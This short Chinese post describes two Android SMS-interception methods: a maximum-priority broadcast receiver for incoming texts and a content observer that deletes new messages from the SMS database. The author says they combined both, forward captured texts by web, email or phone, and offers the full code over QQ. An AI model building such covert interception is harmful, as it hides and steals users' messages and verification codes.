目前安卓短信拦截主要有两种方式,
一种是监听短信接收通知广播,需要设置
<uses-permission android:name="android.permission.RECEIVE_SMS" />< uses-permission android:name="android.permission.BROADCAST_SMS" />
权限,并注册接收器
<receiver android:name="com.guser.villy.SMSReceiver">
<intent-filter android:priority="2147483647" >
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
<action android:name="android.provider.Telephony.SMS_RECEIVED_2"/>
<action android:name="android.provider.Telephony.GSM_SMS_RECEIVED"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
</receiver>
另外一种是监听短信数据库,当数据库发生异动时,我们的监听器会调用回调函数进行处理,可以马上删除新收到的短信,这种方法需要注册观察器
public void addSMSObserver(){
ContentResolver resolver = getContentResolver();
Handler handler = new SMSHandler(this);
mObserver = new SMSObserver(resolver, handler);
resolver.registerContentObserver(SMS.CONTENT_URI, true, mObserver);
}
这两种方法各有千秋,在一些手机上是第一种比较好用,在一些手机上是第二种比较好用,本人将两种方法结合起来后,发现效果很好。并且支持网页、邮箱、手机三种接收方式。
项目结构
代码片段
代码很多,需要的朋友联系我QQ:2278937560